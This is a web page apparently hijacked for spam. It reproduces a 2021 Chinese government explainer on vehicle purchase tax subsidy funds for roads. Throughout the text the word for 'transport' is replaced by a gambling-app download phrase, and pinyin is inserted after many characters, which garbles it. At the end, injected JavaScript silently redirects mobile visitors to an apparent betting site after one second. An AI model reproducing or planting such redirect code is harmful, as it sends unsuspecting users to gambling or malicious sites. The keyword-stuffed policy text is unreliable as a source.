环球体育官方app下载链接

环球体育官方app下载链接>>政策法规
政策法规
关于《财政部 环球体育官方app下载链接运输部关于印发<车辆购置税收入补助地方资金管理暂行办法>的通知》的解读
来源:环球体育官方app下载链接运输部  时间:2021/4/19 8:55:57  浏览量:

近日,财政部、环球体育官方app下载链接运输部联合发布了《财政部 环球体育官方app下载链接运输部关于印发<车辆购置税收入补助地方资金管理暂行办法>的通知》(财建〔2021〕50号,以下简称《办法》)。现就相关内容解读如下:

一、《办法》出台(tai)背景

为贯彻落实党中央(yang)、国务院决策部署,中央(yang)财(cai)政通过车(che)辆购(gou)置税收(shou)入(ru)补助(zhu)地方资(zi)金(以(yi)下(xia)简称车(che)购(gou)税资(zi)金)专项用于支持公路(lu)等环球体育官方app下载链接基础设(she)施建(jian)设(she)。“十三五”时期,车(che)购(gou)税资(zi)金为加快建(jian)设(she)环球体育官方app下载链接强国、构建(jian)综(zong)合立体环球体育官方app下载链接运输体系、推动“四好农村路(lu)”高(gao)质量发展提供了有力支撑。

党(dang)的(de)十九届五(wu)中全(quan)会提出,加(jia)快构建以国(guo)内(nei)大循(xun)环为主体(ti),国(guo)内(nei)国(guo)际双(shuang)循(xun)环相互(hu)促进的(de)新(xin)发(fa)(fa)展(zhan)格局。环球体育官方app下载链接运(yun)输深度嵌入(ru)生(sheng)产、流通(tong)、消费各环节,是国(guo)民经济运(yun)行(xing)的(de)基础支(zhi)撑,是服务人民美(mei)好生(sheng)活的(de)坚实保(bao)障,发(fa)(fa)挥着畅通(tong)国(guo)内(nei)大循(xun)环、国(guo)内(nei)国(guo)际双(shuang)循(xun)环的(de)重(zhong)要纽带作(zuo)用(yong)。

为服务(wu)构建新发(fa)(fa)展(zhan)格局,深(shen)入贯彻(che)推(tui)进《环球体育官方app下载链接强国(guo)建设(she)纲(gang)要》、《国(guo)家综合立体环球体育官方app下载链接网规划纲(gang)要》重要部署,落实《中共(gong)中央(yang) 国(guo)务(wu)院(yuan)关于全面实施预算(suan)绩(ji)效管理的(de)意(yi)见(jian)》、《环球体育官方app下载链接运(yun)输领域中央(yang)与地方财(cai)政(zheng)事权和支出责任划分改革方案》等文件精神,财(cai)政(zheng)部、环球体育官方app下载链接运(yun)输部在深(shen)入研究分析、广泛征求意(yi)见(jian)的(de)基(ji)础上,形成了“十四(si)五(wu)”时期车购税资金支持政(zheng)策,并按程序印发(fa)(fa)了《办法》。

二、《办法》的(de)主(zhu)要思路

《办法》的(de)主要(yao)(yao)思(si)路:一(yi)是(shi)(shi)贯彻落(luo)实(shi)(shi)《环球体育官方app下载链接强(qiang)国(guo)建设纲要(yao)(yao)》和(he)《国(guo)家(jia)综合(he)立体(ti)环球体育官方app下载链接网规划纲要(yao)(yao)》部署要(yao)(yao)求。围绕(rao)《环球体育官方app下载链接强(qiang)国(guo)建设纲要(yao)(yao)》、《国(guo)家(jia)综合(he)立体(ti)环球体育官方app下载链接网规划纲要(yao)(yao)》明确的(de)发展目(mu)标、重(zhong)点任(ren)务和(he)保障(zhang)措施(shi)(shi),优化支(zhi)出(chu)(chu)(chu)结构,提(ti)高车购税(shui)资(zi)(zi)金支(zhi)持保障(zhang)的(de)精准度和(he)有效(xiao)性(xing),提(ti)高对重(zhong)大(da)战略(lve)、重(zhong)点项(xiang)目(mu)的(de)保障(zhang)力(li)度,集中力(li)量办大(da)事(shi)(shi)、把钱花在“刀刃上”。二(er)是(shi)(shi)落(luo)实(shi)(shi)环球体育官方app下载链接运输(shu)领域中央与地方财政(zheng)事(shi)(shi)权和(he)支(zhi)出(chu)(chu)(chu)责任(ren)划分(fen)改革方案要(yao)(yao)求,更加突出(chu)(chu)(chu)保障(zhang)中央财政(zheng)事(shi)(shi)权的(de)支(zhi)出(chu)(chu)(chu)责任(ren),并根据不(bu)同时期发展目(mu)标对地方财政(zheng)事(shi)(shi)权给予支(zhi)持。三是(shi)(shi)做(zuo)好政(zheng)策(ce)延续性(xing)和(he)落(luo)实(shi)(shi)改革要(yao)(yao)求的(de)有机统一(yi),稳妥推进(jin)政(zheng)策(ce)调整(zheng)。考虑(lv)车购税(shui)资(zi)(zi)金支(zhi)持方向较多,且财政(zheng)事(shi)(shi)权归属不(bu)同,故对不(bu)同支(zhi)持方式分(fen)别制定实(shi)(shi)施(shi)(shi)方案,按照“成(cheng)熟一(yi)项(xiang)出(chu)(chu)(chu)台(tai)一(yi)项(xiang)”的(de)原则推进(jin)。四是(shi)(shi)强(qiang)化绩效(xiao)导(dao)向,在政(zheng)策(ce)设计上将(jiang)全面(mian)预(yu)算绩效(xiao)管(guan)理贯穿资(zi)(zi)金管(guan)理全过程(cheng)。在资(zi)(zi)金管(guan)理和(he)使用上建立“谁(shei)(shei)申报谁(shei)(shei)负责”、“谁(shei)(shei)使用谁(shei)(shei)负责”的(de)责任(ren)机制,强(qiang)化过程(cheng)管(guan)理;将(jiang)绩效(xiao)评(ping)价结果与预(yu)算安排挂(gua)钩,资(zi)(zi)金使用效(xiao)益不(bu)高的(de)项(xiang)目(mu)将(jiang)相应扣减(jian)预(yu)算。

三(san)、《办法》的主要修订内(nei)容

《办法》分(fen)为(wei)正(zheng)文和附件两部分(fen)。正(zheng)文部分(fen)主要(yao)是明确总的指导思想(xiang)、管理范围、机制和方(fang)式。此(ci)次印发的附件包括项目法和“以奖代补”两种(zhong)方(fang)式的实施方(fang)案。主要(yao)修订内(nei)容:

(一)突出(chu)支持(chi)(chi)重(zhong)点。进一步(bu)提高车(che)(che)购税资(zi)金(jin)分配的(de)针对性、导向性。一是更加(jia)突出(chu)保(bao)障中央财政(zheng)事(shi)权(quan)(quan)的(de)支出(chu)责任(ren),将财政(zheng)事(shi)权(quan)(quan)改革中新(xin)确定的(de)“界河桥梁(隧道(dao))”、“边(bian)境(jing)口岸汽车(che)(che)出(chu)入境(jing)运(yun)输管理设(she)施(shi)”等中央财政(zheng)事(shi)权(quan)(quan)项(xiang)目(mu)(mu)纳入资(zi)金(jin)保(bao)障范畴(chou)。二是更加(jia)突出(chu)支持(chi)(chi)国家重(zhong)大战略(lve)任(ren)务,将“综合(he)环球体育官方app下载链接运(yun)输”作为(wei)一个单独的(de)支出(chu)方向,以(yi)支持(chi)(chi)现代综合(he)立体环球体育官方app下载链接网(wang)建设(she)。三是聚焦支持(chi)(chi)重(zhong)点,将符合(he)国家战略(lve)方向的(de)水运(yun)基础设(she)施(shi)项(xiang)目(mu)(mu)、启动国家应急(ji)响应的(de)灾(zai)毁重(zhong)建项(xiang)目(mu)(mu)、部省信息化联网(wang)项(xiang)目(mu)(mu)纳入支持(chi)(chi)范围。

(二)丰富支(zhi)持(chi)方(fang)式(shi)。此(ci)次(ci)(ci)修(xiu)订的(de)(de)《办(ban)(ban)法(fa)(fa)》新增了(le)两种(zhong)支(zhi)持(chi)方(fang)式(shi):一(yi)是“以奖代(dai)补”。针对长期以来存在(zai)的(de)(de)“重建轻养(yang)”、“以建代(dai)养(yang)”、“只建不(bu)养(yang)”等问(wen)题,《办(ban)(ban)法(fa)(fa)》强(qiang)化了(le)政(zheng)策绩效导(dao)向,采取(qu)“以奖代(dai)补”方(fang)式(shi)对普通省道、农村公路给予支(zhi)持(chi),重点(dian)考核(he)建设(she)任(ren)务完(wan)成情(qing)况(kuang)(kuang)、养(yang)护(hu)任(ren)务完(wan)成情(qing)况(kuang)(kuang)及地方(fang)财政(zheng)投(tou)入情(qing)况(kuang)(kuang),三类(lei)考核(he)因素权重分别占50%、30%、20%,相关(guan)(guan)设(she)计(ji)体(ti)(ti)(ti)(ti)现了(le)建养(yang)并(bing)(bing)重的(de)(de)理念,并(bing)(bing)引导(dao)地方(fang)政(zheng)府(fu)加强(qiang)养(yang)护(hu)管理,加大养(yang)护(hu)投(tou)入。在(zai)考核(he)方(fang)式(shi)上,将(jiang)运(yun)(yun)用信息(xi)化手段,通过数(shu)据(ju)支(zhi)撑(cheng)系统对建设(she)、养(yang)护(hu)任(ren)务各项考核(he)指标进行(xing)考核(he)。二是竞争性(xing)评(ping)(ping)审。为贯彻落实(shi)环球体育官方app下载链接运(yun)(yun)输领域财政(zheng)事(shi)权与支(zhi)出(chu)责任(ren)改革有关(guan)(guan)要求,落实(shi)地方(fang)政(zheng)府(fu)主(zhu)体(ti)(ti)(ti)(ti)责任(ren),支(zhi)持(chi)构建综合(he)环球体育官方app下载链接运(yun)(yun)输体(ti)(ti)(ti)(ti)系,此(ci)次(ci)(ci)修(xiu)订《办(ban)(ban)法(fa)(fa)》将(jiang)采取(qu)竞争性(xing)评(ping)(ping)审方(fang)式(shi),以城市为实(shi)施主(zhu)体(ti)(ti)(ti)(ti)支(zhi)持(chi)综合(he)货运(yun)(yun)枢(shu)纽体(ti)(ti)(ti)(ti)系建设(she),择优选取(qu)一(yi)批符(fu)合(he)《国家(jia)综合(he)立(li)体(ti)(ti)(ti)(ti)环球体育官方app下载链接网规划纲要》要求的(de)(de)综合(he)环球体育官方app下载链接枢(shu)纽城市,系统全面推进相关(guan)(guan)工作,车购税资金将(jiang)给予支(zhi)持(chi)。

(三)加(jia)强系(xi)统(tong)支(zhi)撑(cheng)(cheng)。《办(ban)法(fa)》要(yao)求地方各级(ji)环球体育官方app下载链接运(yun)输(shu)(shu)主(zhu)管(guan)(guan)部(bu)(bu)(bu)门(men)对普(pu)(pu)通省(sheng)道(dao)和(he)(he)(he)农(nong)村公路建(jian)设和(he)(he)(he)养(yang)护(hu)实(shi)行(xing)项目(mu)(mu)库管(guan)(guan)理(li)制(zhi)(zhi)度,省(sheng)级(ji)环球体育官方app下载链接运(yun)输(shu)(shu)主(zhu)管(guan)(guan)部(bu)(bu)(bu)门(men)会同财政部(bu)(bu)(bu)门(men)建(jian)立满足“以(yi)奖(jiang)代补(bu)”考(kao)核(he)需(xu)要(yao)的(de)(de)真实(shi)、动态(tai)、可考(kao)核(he)的(de)(de)数(shu)(shu)(shu)据(ju)(ju)(ju)(ju)支(zhi)撑(cheng)(cheng)系(xi)统(tong)。各级(ji)环球体育官方app下载链接运(yun)输(shu)(shu)主(zhu)管(guan)(guan)部(bu)(bu)(bu)门(men)要(yao)加(jia)快(kuai)推进(jin)(jin)(jin)普(pu)(pu)通省(sheng)道(dao)和(he)(he)(he)农(nong)村公路管(guan)(guan)理(li)相关业(ye)务(wu)系(xi)统(tong)信息化(hua)建(jian)设,提升行(xing)业(ye)整(zheng)体信息化(hua)水(shui)平。建(jian)立省(sheng)级(ji)“以(yi)奖(jiang)代补(bu)”考(kao)核(he)数(shu)(shu)(shu)据(ju)(ju)(ju)(ju)支(zhi)撑(cheng)(cheng)系(xi)统(tong),按(an)照(zhao)“谁(shei)(shei)花钱谁(shei)(shei)填数(shu)(shu)(shu)”、“谁(shei)(shei)管(guan)(guan)理(li)谁(shei)(shei)负责(ze)”的(de)(de)原则进(jin)(jin)(jin)行(xing)数(shu)(shu)(shu)据(ju)(ju)(ju)(ju)采集,实(shi)现末(mo)端(duan)数(shu)(shu)(shu)据(ju)(ju)(ju)(ju)从(cong)建(jian)设单(dan)位自下而(er)上、层(ceng)层(ceng)上报,构建(jian)并(bing)不(bu)断(duan)完(wan)善相关数(shu)(shu)(shu)据(ju)(ju)(ju)(ju)的(de)(de)生长系(xi)统(tong),确保数(shu)(shu)(shu)据(ju)(ju)(ju)(ju)的(de)(de)真实(shi)性、完(wan)整(zheng)性。归集规(gui)划(hua)、建(jian)设、养(yang)护(hu)、运(yun)营、统(tong)计(ji)、资金等各个管(guan)(guan)理(li)领域的(de)(de)数(shu)(shu)(shu)据(ju)(ju)(ju)(ju)资源,打通环球体育官方app下载链接、财政相关数(shu)(shu)(shu)据(ju)(ju)(ju)(ju)之(zhi)间的(de)(de)关联(lian),建(jian)立联(lian)动共享机制(zhi)(zhi),有力保障“以(yi)奖(jiang)代补(bu)”考(kao)核(he)实(shi)施工(gong)作(zuo)(zuo)。地方各级(ji)环球体育官方app下载链接运(yun)输(shu)(shu)主(zhu)管(guan)(guan)部(bu)(bu)(bu)门(men)、财政部(bu)(bu)(bu)门(men)利(li)用(yong)数(shu)(shu)(shu)据(ju)(ju)(ju)(ju)支(zhi)撑(cheng)(cheng)系(xi)统(tong)对项目(mu)(mu)信息等数(shu)(shu)(shu)据(ju)(ju)(ju)(ju)进(jin)(jin)(jin)行(xing)交叉审(shen)核(he),逐级(ji)上报,按(an)照(zhao)职(zhi)责(ze)分(fen)工(gong)落实(shi)审(shen)核(he)主(zhu)体责(ze)任。数(shu)(shu)(shu)据(ju)(ju)(ju)(ju)使用(yong)时,要(yao)实(shi)现所(suo)有考(kao)核(he)所(suo)需(xu)的(de)(de)数(shu)(shu)(shu)据(ju)(ju)(ju)(ju)均(jun)可直接通过系(xi)统(tong)取数(shu)(shu)(shu),并(bing)形成对项目(mu)(mu)和(he)(he)(he)资金日(ri)常所(suo)需(xu)的(de)(de)考(kao)核(he)、绩效监控、跟踪预警等监管(guan)(guan)目(mu)(mu)的(de)(de)。目(mu)(mu)前(qian),部(bu)(bu)(bu)分(fen)省(sheng)份正按(an)《办(ban)法(fa)》要(yao)求开(kai)发、完(wan)善数(shu)(shu)(shu)据(ju)(ju)(ju)(ju)支(zhi)撑(cheng)(cheng)系(xi)统(tong)功能,并(bing)试运(yun)行(xing),各省(sheng)份要(yao)加(jia)快(kuai)工(gong)作(zuo)(zuo)进(jin)(jin)(jin)度,确保“以(yi)奖(jiang)代补(bu)”工(gong)作(zuo)(zuo)顺利(li)开(kai)展。


var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();